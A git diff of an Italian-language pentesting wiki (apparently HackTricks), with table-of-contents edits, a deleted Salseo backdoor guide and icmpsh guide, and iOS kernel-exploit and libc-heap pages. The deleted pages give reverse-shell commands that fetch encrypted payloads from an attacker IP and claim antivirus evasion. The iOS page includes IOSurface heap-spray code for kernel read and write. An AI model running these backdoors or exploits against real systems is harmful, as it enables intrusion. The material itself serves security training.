- [macOS Defensive Apps](macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md)
- [Macos Dyld Hijacking And Dyld Insert Libraries](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md)
- [macOS GCD - Grand Central Dispatch](macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md)
- [macOS Kernel & System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md)
- [macOS IOKit](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md)
@ -217,8 +218,10 @@
# 🪟 Windows Hardening
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
@ -248,6 +251,7 @@
- [AD CS Domain Escalation](windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md)
- [AD CS Domain Persistence](windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md)
- [AD CS Certificate Theft](windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md)
- [Ad Certificates](windows-hardening/active-directory-methodology/ad-certificates.md)
- [AD information in printers](windows-hardening/active-directory-methodology/ad-information-in-printers.md)
- [AD DNS Records](windows-hardening/active-directory-methodology/ad-dns-records.md)
- [ASREPRoast](windows-hardening/active-directory-methodology/asreproast.md)
@ -330,7 +334,7 @@
- [Manual DeObfuscation](mobile-pentesting/android-app-pentesting/manual-deobfuscation.md)
- [React Native Application](mobile-pentesting/android-app-pentesting/react-native-application.md)
- [Reversing Native Libraries](mobile-pentesting/android-app-pentesting/reversing-native-libraries.md)
- [Smali - Decompiling/\[Modifying\]/Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md)
- [Smali - Decompiling, Modifying, Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md)
- [Spoofing your location in Play Store](mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md)
- [Tapjacking](mobile-pentesting/android-app-pentesting/tapjacking.md)
- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
@ -388,6 +392,7 @@
- [Buckets](network-services-pentesting/pentesting-web/buckets/README.md)
- [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md)
- [CGI](network-services-pentesting/pentesting-web/cgi.md)
- [Django](network-services-pentesting/pentesting-web/django.md)
- [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md)
- [Drupal](network-services-pentesting/pentesting-web/drupal/README.md)
- [Drupal RCE](network-services-pentesting/pentesting-web/drupal/drupal-rce.md)
@ -398,7 +403,6 @@
- [Flask](network-services-pentesting/pentesting-web/flask.md)
- [Git](network-services-pentesting/pentesting-web/git.md)
- [Golang](network-services-pentesting/pentesting-web/golang.md)
- [GWT - Google Web Toolkit](network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md)
- [Grafana](network-services-pentesting/pentesting-web/grafana.md)
- [GraphQL](network-services-pentesting/pentesting-web/graphql.md)
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
@ -430,7 +434,7 @@
- [disable_functions bypass - via mem](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md)
- [disable_functions bypass - mod_cgi](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md)
- [disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md)
- [PHP - RCE abusing object creation: new $\_GET\["a"\]($\_GET\["b"\])](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md)
- [Php Rce Abusing Object Creation New Usd Get A Usd Get B](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md)
- [PHP SSRF](network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
- [Python](network-services-pentesting/pentesting-web/python.md)
@ -438,6 +442,7 @@
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
- [Special Http Headers](network-services-pentesting/pentesting-web/special-http-headers.md)
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
- [Symfony](network-services-pentesting/pentesting-web/symphony.md)
- [Tomcat](network-services-pentesting/pentesting-web/tomcat/README.md)
@ -582,6 +587,7 @@
- [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-__viewstate-parameter.md)
- [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md)
- [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md)
- [Ruby Json Pollution](pentesting-web/deserialization/ruby-_json-pollution.md)
- [Ruby Class Pollution](pentesting-web/deserialization/ruby-class-pollution.md)
- [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md)
- [Email Injections](pentesting-web/email-injections.md)
@ -609,6 +615,7 @@
- [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
- [IDOR](pentesting-web/idor.md)
- [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md)
- [JSON, XML and YAML Hacking](pentesting-web/json-xml-yaml-hacking.md)
- [LDAP Injection](pentesting-web/ldap-injection.md)
- [Login Bypass](pentesting-web/login-bypass/README.md)
- [Login bypass List](pentesting-web/login-bypass/sql-login-bypass.md)
@ -641,6 +648,7 @@
- [MySQL File priv to SSRF/RCE](pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
- [Oracle injection](pentesting-web/sql-injection/oracle-injection.md)
- [Cypher Injection (neo4j)](pentesting-web/sql-injection/cypher-injection-neo4j.md)
- [Sqlmap](pentesting-web/sql-injection/sqlmap.md)
- [PostgreSQL injection](pentesting-web/sql-injection/postgresql-injection/README.md)
- [dblink/lo_import data exfiltration](pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md)
- [PL/pgSQL Password Bruteforce](pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
@ -664,6 +672,7 @@
- [WebSocket Attacks](pentesting-web/websocket-attacks.md)
- [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md)
- [XPATH injection](pentesting-web/xpath-injection.md)
- [XS Search](pentesting-web/xs-search.md)
- [XSLT Server Side Injection (Extensible Stylesheet Language Transformations)](pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [XXE - XEE - XML External Entity](pentesting-web/xxe-xee-xml-external-entity.md)
- [XSS (Cross Site Scripting)](pentesting-web/xss-cross-site-scripting/README.md)
@ -845,13 +854,14 @@
# ✍️ TODO
- [Other Big References](todo/references.md)
- [Interesting Http](todo/interesting-http.md)
- [Rust Basics](todo/rust-basics.md)
- [More Tools](todo/more-tools.md)
- [MISC](todo/misc.md)
- [Pentesting DNS](todo/pentesting-dns.md)
- [Hardware Hacking](todo/hardware-hacking/README.md)
- [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md)
- [I2C](todo/hardware-hacking/i2c.md)
- [Side Channel Analysis](todo/hardware-hacking/side_channel_analysis.md)
- [UART](todo/hardware-hacking/uart.md)
- [Radio](todo/hardware-hacking/radio.md)
- [JTAG](todo/hardware-hacking/jtag.md)
@ -878,8 +888,6 @@
- [Other Web Tricks](todo/other-web-tricks.md)
- [Interesting HTTP$$external:todo/interesting-http.md$$]()
- [Android Forensics](todo/android-forensics.md)
- [TR-069](todo/tr-069.md)
- [6881/udp - Pentesting BitTorrent](todo/6881-udp-pentesting-bittorrent.md)
- [Online Platforms with API](todo/online-platforms-with-api.md)
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
- [Post Exploitation](todo/post-exploitation.md)
@ -887,3 +895,11 @@
- [Cookies Policy](todo/cookies-policy.md)
- [Readme](blockchain/blockchain-and-crypto-currencies/README.md)
- [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
- [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
- [Readme](pentesting-web/web-vulnerabilities-methodology/README.md)
- [Readme](reversing/cryptographic-algorithms/README.md)
- [Readme](reversing/reversing-tools/README.md)
- [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)

27
src/android-forensics.md
View File

@ -1,27 +0,0 @@
# Android Forensics
{{#include ./banners/hacktricks-training.md}}
## Dispositivo Bloccato
Per iniziare a estrarre dati da un dispositivo Android, deve essere sbloccato. Se è bloccato puoi:
- Controllare se il dispositivo ha attivato il debug via USB.
- Controllare un possibile [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf)
- Provare con [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)
## Acquisizione Dati
Crea un [backup android usando adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) ed estrailo usando [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`
### Se accesso root o connessione fisica all'interfaccia JTAG
- `cat /proc/partitions` (cerca il percorso della memoria flash, generalmente la prima voce è _mmcblk0_ e corrisponde all'intera memoria flash).
- `df /data` (Scopri la dimensione del blocco del sistema).
- dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (eseguilo con le informazioni raccolte dalla dimensione del blocco).
### Memoria
Usa Linux Memory Extractor (LiME) per estrarre le informazioni della RAM. È un'estensione del kernel che deve essere caricata tramite adb.
{{#include ./banners/hacktricks-training.md}}

25
src/backdoors/icmpsh.md
View File

@ -1,25 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
Scarica il backdoor da: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
# Lato client
Esegui lo script: **run.sh**
**Se ricevi un errore, prova a cambiare le righe:**
```bash
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
```
**Per:**
```bash
echo Please insert the IP where you want to listen
read IP
```
# **Lato Vittima**
Carica **icmpsh.exe** sulla vittima ed esegui:
```bash
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
```
{{#include ../banners/hacktricks-training.md}}

158
src/backdoors/salseo.md
View File

@ -1,158 +0,0 @@
# Salseo
{{#include ../banners/hacktricks-training.md}}
## Compilare i binari
Scarica il codice sorgente da github e compila **EvilSalsa** e **SalseoLoader**. Avrai bisogno di **Visual Studio** installato per compilare il codice.
Compila questi progetti per l'architettura della macchina Windows su cui intendi usarli (Se Windows supporta x64, compilali per quell'architettura).
Puoi **selezionare l'architettura** all'interno di Visual Studio nella **scheda "Build" a sinistra** in **"Platform Target".**
(**Se non riesci a trovare queste opzioni, premi su **"Project Tab"** e poi su **"\<Project Name> Properties"**)
![](<../images/image (132).png>)
Poi, costruisci entrambi i progetti (Build -> Build Solution) (All'interno dei log apparirà il percorso dell'eseguibile):
![](<../images/image (1) (2) (1) (1) (1).png>)
## Preparare il Backdoor
Prima di tutto, dovrai codificare il **EvilSalsa.dll.** Per farlo, puoi usare lo script python **encrypterassembly.py** oppure puoi compilare il progetto **EncrypterAssembly**:
### **Python**
```
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Ok, ora hai tutto il necessario per eseguire tutto il Salseo: il **EvilDalsa.dll codificato** e il **binario di SalseoLoader.**
**Carica il binario SalseoLoader.exe sulla macchina. Non dovrebbero essere rilevati da alcun AV...**
## **Esegui il backdoor**
### **Ottenere una shell inversa TCP (scaricando dll codificata tramite HTTP)**
Ricorda di avviare un nc come listener della shell inversa e un server HTTP per servire l'evilsalsa codificato.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
### **Ottenere una shell inversa UDP (scaricando dll codificata tramite SMB)**
Ricorda di avviare un nc come listener della shell inversa e un server SMB per servire l'evilsalsa codificato (impacket-smbserver).
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **Ottenere una shell inversa ICMP (dll codificata già all'interno della vittima)**
**Questa volta hai bisogno di uno strumento speciale nel client per ricevere la shell inversa. Scarica:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Disabilita le risposte ICMP:**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### Esegui il client:
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
#### Dentro della vittima, eseguiamo la cosa salseo:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
## Compilare SalseoLoader come DLL esportando la funzione principale
Apri il progetto SalseoLoader utilizzando Visual Studio.
### Aggiungi prima della funzione principale: \[DllExport]
![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Installa DllExport per questo progetto
#### **Strumenti** --> **Gestore pacchetti NuGet** --> **Gestisci pacchetti NuGet per la soluzione...**
![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **Cerca il pacchetto DllExport (utilizzando la scheda Sfoglia) e premi Installa (e accetta il popup)**
![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
Nella tua cartella di progetto sono apparsi i file: **DllExport.bat** e **DllExport_Configure.bat**
### **Dis**installa DllExport
Premi **Disinstalla** (sì, è strano ma fidati, è necessario)
![](<../images/image (5) (1) (1) (2) (1).png>)
### **Esci da Visual Studio ed esegui DllExport_configure**
Basta **uscire** da Visual Studio
Poi, vai nella tua **cartella SalseoLoader** ed **esegui DllExport_Configure.bat**
Seleziona **x64** (se intendi usarlo all'interno di una box x64, questo era il mio caso), seleziona **System.Runtime.InteropServices** (all'interno di **Namespace per DllExport**) e premi **Applica**
![](<../images/image (7) (1) (1) (1) (1).png>)
### **Apri di nuovo il progetto con Visual Studio**
**\[DllExport]** non dovrebbe più essere contrassegnato come errore
![](<../images/image (8) (1).png>)
### Compila la soluzione
Seleziona **Tipo di output = Class Library** (Progetto --> Proprietà SalseoLoader --> Applicazione --> Tipo di output = Class Library)
![](<../images/image (10) (1).png>)
Seleziona **piattaforma x64** (Progetto --> Proprietà SalseoLoader --> Compilazione --> Target piattaforma = x64)
![](<../images/image (9) (1) (1).png>)
Per **compilare** la soluzione: Compila --> Compila soluzione (All'interno della console di output apparirà il percorso della nuova DLL)
### Testa la DLL generata
Copia e incolla la DLL dove vuoi testarla.
Esegui:
```
rundll32.exe SalseoLoader.dll,main
```
Se non appare alcun errore, probabilmente hai un DLL funzionante!!
## Ottieni una shell usando il DLL
Non dimenticare di usare un **server** **HTTP** e impostare un **listener** **nc**
### Powershell
```
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
{{#include ../banners/hacktricks-training.md}}

4
src/binary-exploitation/arbitrary-write-2-exec/README.md
View File

@ -1 +1,3 @@
# Scrittura Arbitraria 2 Exec
# Arbitrary Write 2 Exec
{{#include /banners/hacktricks-training.md}}

37
src/binary-exploitation/ios-exploiting.md
View File

@ -1,12 +1,14 @@
# iOS Exploiting
{{#include /banners/hacktricks-training.md}}
## Uso fisico dopo la liberazione
Questo è un riassunto del post da [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html); ulteriori informazioni sull'exploit utilizzando questa tecnica possono essere trovate in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
Questo è un riassunto del post da [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) inoltre ulteriori informazioni su exploit che utilizzano questa tecnica possono essere trovate in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Gestione della memoria in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
Lo **spazio degli indirizzi di memoria virtuale** per i processi utente su iOS va da **0x0 a 0x8000000000**. Tuttavia, questi indirizzi non mappano direttamente la memoria fisica. Invece, il **kernel** utilizza **tabelle delle pagine** per tradurre gli indirizzi virtuali in **indirizzi fisici** reali.
Lo **spazio degli indirizzi di memoria virtuale** per i processi utente su iOS va da **0x0 a 0x8000000000**. Tuttavia, questi indirizzi non mappano direttamente alla memoria fisica. Invece, il **kernel** utilizza **tabelle delle pagine** per tradurre gli indirizzi virtuali in **indirizzi fisici** reali.
#### Livelli delle Tabelle delle Pagine in iOS
@ -19,7 +21,7 @@ Le tabelle delle pagine sono organizzate gerarchicamente in tre livelli:
* Una voce qui rappresenta una regione più piccola di memoria virtuale, specificamente **0x2000000 byte** (32 MB).
* Una voce L1 può puntare a una tabella L2 se non può mappare l'intera regione da sola.
3. **Tabella delle Pagine L3 (Livello 3)**:
* Questo è il livello più fine, dove ogni voce mappa una singola pagina di memoria **4 KB**.
* Questo è il livello più fine, dove ogni voce mappa una singola pagina di memoria di **4 KB**.
* Una voce L2 può puntare a una tabella L3 se è necessario un controllo più dettagliato.
#### Mappatura della Memoria Virtuale a Fisica
@ -31,20 +33,20 @@ Le tabelle delle pagine sono organizzate gerarchicamente in tre livelli:
#### Esempio: Mappatura di un Indirizzo Virtuale
Supponiamo che tu stia cercando di accedere all'indirizzo virtuale **0x1000000000**:
Supponiamo che tu provi ad accedere all'indirizzo virtuale **0x1000000000**:
1. **Tabella L1**:
* Il kernel controlla la voce della tabella delle pagine L1 corrispondente a questo indirizzo virtuale. Se ha un **puntatore a una tabella delle pagine L2**, va a quella tabella L2.
2. **Tabella L2**:
* Il kernel controlla la tabella delle pagine L2 per una mappatura più dettagliata. Se questa voce punta a una **tabella delle pagine L3**, procede lì.
3. **Tabella L3**:
* Il kernel cerca la voce finale L3, che punta all'**indirizzo fisico** della pagina di memoria effettiva.
* Il kernel cerca la voce finale L3, che punta all'**indirizzo fisico** della pagina di memoria reale.
#### Esempio di Mappatura degli Indirizzi
Se scrivi l'indirizzo fisico **0x800004000** nel primo indice della tabella L2, allora:
* Gli indirizzi virtuali da **0x1000000000** a **0x1002000000** mappano a indirizzi fisici da **0x800004000** a **0x802004000**.
* Gli indirizzi virtuali da **0x1000000000** a **0x1002000000** mappano agli indirizzi fisici da **0x800004000** a **0x802004000**.
* Questa è una **mappatura a blocchi** a livello L2.
In alternativa, se la voce L2 punta a una tabella L3:
@ -62,11 +64,11 @@ Un **uso fisico dopo la liberazione** (UAF) si verifica quando:
5. Il kernel può quindi **riallocare questa memoria fisica "liberata"** per altri scopi, come **dati del kernel**.
6. Poiché la mappatura non è stata rimossa, il processo può ancora **leggere e scrivere** in questa memoria fisica.
Ciò significa che il processo può accedere a **pagine di memoria del kernel**, che potrebbero contenere dati o strutture sensibili, consentendo potenzialmente a un attaccante di **manipolare la memoria del kernel**.
Questo significa che il processo può accedere a **pagine di memoria del kernel**, che potrebbero contenere dati o strutture sensibili, consentendo potenzialmente a un attaccante di **manipolare la memoria del kernel**.
### Strategia di Sfruttamento: Heap Spray
Poiché l'attaccante non può controllare quali pagine specifiche del kernel verranno allocate nella memoria liberata, utilizza una tecnica chiamata **heap spray**:
Poiché l'attaccante non può controllare quali specifiche pagine del kernel saranno allocate nella memoria liberata, utilizza una tecnica chiamata **heap spray**:
1. L'attaccante **crea un gran numero di oggetti IOSurface** nella memoria del kernel.
2. Ogni oggetto IOSurface contiene un **valore magico** in uno dei suoi campi, rendendolo facile da identificare.
@ -75,15 +77,15 @@ Poiché l'attaccante non può controllare quali pagine specifiche del kernel ver
Ulteriori informazioni su questo in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
### Processo di Heap Spray Passo dopo Passo
### Processo di Heap Spray Passo-Passo
1. **Spray degli Oggetti IOSurface**: L'attaccante crea molti oggetti IOSurface con un identificatore speciale ("valore magico").
1. **Spray di Oggetti IOSurface**: L'attaccante crea molti oggetti IOSurface con un identificatore speciale ("valore magico").
2. **Scansione delle Pagine Liberate**: Controllano se uno degli oggetti è stato allocato su una pagina liberata.
3. **Leggi/Scrivi nella Memoria del Kernel**: Manipolando i campi nell'oggetto IOSurface, ottengono la capacità di eseguire **letture e scritture arbitrarie** nella memoria del kernel. Questo consente loro di:
* Usare un campo per **leggere qualsiasi valore a 32 bit** nella memoria del kernel.
* Usare un altro campo per **scrivere valori a 64 bit**, ottenendo una **primitiva di lettura/scrittura del kernel** stabile.
* Usare un altro campo per **scrivere valori a 64 bit**, ottenendo un **primordiale di lettura/scrittura del kernel** stabile.
Genera oggetti IOSurface con il valore magico IOSURFACE_MAGIC da cercare in seguito:
Genera oggetti IOSurface con il valore magico IOSURFACE\_MAGIC da cercare in seguito:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
@ -140,7 +142,7 @@ return 0;
```
### Ottenere Read/Write del Kernel con IOSurface
Dopo aver ottenuto il controllo su un oggetto IOSurface nella memoria del kernel (mappato a una pagina fisica liberata accessibile dallo spazio utente), possiamo usarlo per **operazioni di lettura e scrittura arbitrarie nel kernel**.
Dopo aver ottenuto il controllo su un oggetto IOSurface nella memoria del kernel (mappato su una pagina fisica liberata accessibile dallo spazio utente), possiamo usarlo per **operazioni di lettura e scrittura arbitrarie nel kernel**.
**Campi Chiave in IOSurface**
@ -197,7 +199,10 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
1. **Attivare l'Uso-Fisico Dopo la Liberazione**: Le pagine liberate sono disponibili per il riutilizzo.
2. **Spray degli Oggetti IOSurface**: Allocare molti oggetti IOSurface con un "valore magico" unico nella memoria del kernel.
3. **Identificare l'IOSurface Accessibile**: Localizzare un IOSurface su una pagina liberata che controlli.
4. **Abusare dell'Uso-Fisico Dopo la Liberazione**: Modificare i puntatori nell'oggetto IOSurface per abilitare la **lettura/scrittura** arbitraria del **kernel** tramite i metodi IOSurface.
3. **Identificare IOSurface Accessibile**: Localizzare un IOSurface su una pagina liberata che controlli.
4. **Abusare dell'Uso-Fisico Dopo la Liberazione**: Modificare i puntatori nell'oggetto IOSurface per abilitare la **lettura/scrittura** arbitraria del kernel tramite i metodi IOSurface.
Con queste primitive, l'exploit fornisce **letture a 32 bit** e **scritture a 64 bit** controllate nella memoria del kernel. Ulteriori passaggi di jailbreak potrebbero coinvolgere primitive di lettura/scrittura più stabili, che potrebbero richiedere di bypassare ulteriori protezioni (ad es., PPL su dispositivi arm64e più recenti).
Con queste primitive, l'exploit fornisce **letture a 32 bit** e **scritture a 64 bit** controllate nella memoria del kernel. Ulteriori passaggi per il jailbreak potrebbero coinvolgere primitive di lettura/scrittura più stabili, che potrebbero richiedere di bypassare ulteriori protezioni (ad es., PPL su dispositivi arm64e più recenti).
{{#include /banners/hacktricks-training.md}}

45
src/binary-exploitation/libc-heap/README.md
View File

@ -1,8 +1,10 @@
# Libc Heap
{{#include /banners/hacktricks-training.md}}
## Heap Basics
L'heap è fondamentalmente il luogo dove un programma può memorizzare dati quando richiede dati chiamando funzioni come **`malloc`**, `calloc`... Inoltre, quando questa memoria non è più necessaria, viene resa disponibile chiamando la funzione **`free`**.
L'heap è fondamentalmente il luogo in cui un programma può memorizzare dati quando richiede dati chiamando funzioni come **`malloc`**, `calloc`... Inoltre, quando questa memoria non è più necessaria, viene resa disponibile chiamando la funzione **`free`**.
Come mostrato, si trova subito dopo dove il binario viene caricato in memoria (controlla la sezione `[heap]`):
@ -10,9 +12,9 @@ Come mostrato, si trova subito dopo dove il binario viene caricato in memoria (c
### Basic Chunk Allocation
Quando alcuni dati vengono richiesti per essere memorizzati nell'heap, viene allocato uno spazio nell'heap per essi. Questo spazio apparterrà a un bin e solo i dati richiesti + lo spazio degli header del bin + l'offset della dimensione minima del bin saranno riservati per il chunk. L'obiettivo è riservare la minima memoria possibile senza rendere complicato trovare dove si trova ogni chunk. A tal fine, vengono utilizzate le informazioni sui chunk di metadata per sapere dove si trova ogni chunk utilizzato/libero.
Quando alcuni dati vengono richiesti per essere memorizzati nell'heap, viene allocato uno spazio dell'heap per essi. Questo spazio apparterrà a un bin e solo i dati richiesti + lo spazio degli header del bin + l'offset della dimensione minima del bin saranno riservati per il chunk. L'obiettivo è riservare la minima memoria possibile senza rendere complicato trovare dove si trova ciascun chunk. A tal fine, vengono utilizzate le informazioni sui chunk di metadata per sapere dove si trova ciascun chunk utilizzato/libero.
Ci sono diversi modi per riservare lo spazio principalmente a seconda del bin utilizzato, ma una metodologia generale è la seguente:
Ci sono diversi modi per riservare lo spazio, principalmente a seconda del bin utilizzato, ma una metodologia generale è la seguente:
- Il programma inizia richiedendo una certa quantità di memoria.
- Se nella lista dei chunk c'è qualcuno disponibile abbastanza grande da soddisfare la richiesta, verrà utilizzato.
@ -29,20 +31,20 @@ Nelle applicazioni **multithreaded**, il gestore dell'heap deve prevenire **race
Per affrontare questo problema, l'allocatore di heap ptmalloc2 ha introdotto "arenas", dove **ogni arena** funge da **heap separato** con le proprie **strutture** di dati e **mutex**, consentendo a più thread di eseguire operazioni sull'heap senza interferire tra loro, purché utilizzino arene diverse.
L'arena "principale" predefinita gestisce le operazioni sull'heap per applicazioni a thread singolo. Quando vengono aggiunti **nuovi thread**, il gestore dell'heap assegna loro **arene secondarie** per ridurre la contesa. Prima tenta di collegare ogni nuovo thread a un'arena non utilizzata, creando nuove arene se necessario, fino a un limite di 2 volte il numero di core CPU per sistemi a 32 bit e 8 volte per sistemi a 64 bit. Una volta raggiunto il limite, **i thread devono condividere le arene**, portando a potenziale contesa.
L'arena "principale" predefinita gestisce le operazioni sull'heap per le applicazioni a thread singolo. Quando vengono aggiunti **nuovi thread**, il gestore dell'heap assegna loro **arene secondarie** per ridurre la contesa. Prima tenta di collegare ogni nuovo thread a un'arena non utilizzata, creando nuove arene se necessario, fino a un limite di 2 volte il numero di core CPU per i sistemi a 32 bit e 8 volte per i sistemi a 64 bit. Una volta raggiunto il limite, **i thread devono condividere le arene**, portando a una potenziale contesa.
A differenza dell'arena principale, che si espande utilizzando la chiamata di sistema `brk`, le arene secondarie creano "subheaps" utilizzando `mmap` e `mprotect` per simulare il comportamento dell'heap, consentendo flessibilità nella gestione della memoria per operazioni multithreaded.
### Subheaps
I subheaps servono come riserve di memoria per le arene secondarie nelle applicazioni multithreaded, consentendo loro di crescere e gestire le proprie regioni heap separatamente dall'heap principale. Ecco come i subheaps differiscono dall'heap iniziale e come operano:
I subheaps servono come riserve di memoria per le arene secondarie nelle applicazioni multithreaded, consentendo loro di crescere e gestire le proprie regioni di heap separatamente dall'heap principale. Ecco come i subheaps differiscono dall'heap iniziale e come operano:
1. **Heap Iniziale vs. Subheaps**:
- L'heap iniziale si trova direttamente dopo il binario del programma in memoria e si espande utilizzando la chiamata di sistema `sbrk`.
- I subheaps, utilizzati dalle arene secondarie, vengono creati tramite `mmap`, una chiamata di sistema che mappa una regione di memoria specificata.
2. **Riservazione di Memoria con `mmap`**:
- Quando il gestore dell'heap crea un subheap, riserva un grande blocco di memoria tramite `mmap`. Questa riservazione non alloca immediatamente memoria; designa semplicemente una regione che altri processi di sistema o allocazioni non dovrebbero utilizzare.
- Per impostazione predefinita, la dimensione riservata per un subheap è di 1 MB per processi a 32 bit e 64 MB per processi a 64 bit.
- Per impostazione predefinita, la dimensione riservata per un subheap è di 1 MB per i processi a 32 bit e 64 MB per i processi a 64 bit.
3. **Espansione Graduale con `mprotect`**:
- La regione di memoria riservata è inizialmente contrassegnata come `PROT_NONE`, indicando che il kernel non ha bisogno di allocare memoria fisica per questo spazio ancora.
- Per "crescere" il subheap, il gestore dell'heap utilizza `mprotect` per cambiare i permessi delle pagine da `PROT_NONE` a `PROT_READ | PROT_WRITE`, invitando il kernel ad allocare memoria fisica agli indirizzi precedentemente riservati. Questo approccio graduale consente al subheap di espandersi secondo necessità.
